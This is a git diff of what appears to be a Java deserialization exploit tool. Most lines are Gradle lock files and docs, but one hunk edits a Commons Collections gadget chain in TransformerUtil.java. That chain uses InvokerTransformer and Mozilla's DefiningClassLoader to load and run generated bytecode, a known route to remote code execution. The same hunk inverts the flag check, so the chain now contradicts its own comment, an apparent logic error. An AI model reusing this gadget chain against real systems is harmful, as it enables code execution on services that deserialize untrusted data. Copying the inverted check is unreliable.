diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock
index 1aef14c..e8de4b8 100644
Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ
diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock
index 7dc0577..434a7a6 100644
Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ
diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe
index e3639a1..1e6b18b 100644
Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ
diff --git a/.idea/compiler.xml b/.idea/compiler.xml
index 44d1c92..b413609 100644
--- a/.idea/compiler.xml
+++ b/.idea/compiler.xml
@@ -6,7 +6,6 @@
-
diff --git a/docs/directory_structure.md b/docs/directory_structure.md
index 3f7b78a..bb3a38a 100644
--- a/docs/directory_structure.md
+++ b/docs/directory_structure.md
@@ -1,4 +1,3 @@
-C:.
├─.gradle Gradle构建配置文件
│ ├─8.7
│ │ ├─checksums
diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
index b7eb349..6f07a21 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
@@ -59,7 +59,7 @@ public class TransformerUtil {
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
- if (USING_MOZILLA_DEFININGCLASSLOADER) {
+ if (!USING_MOZILLA_DEFININGCLASSLOADER) {
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
// 在 NC 中可以使用
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};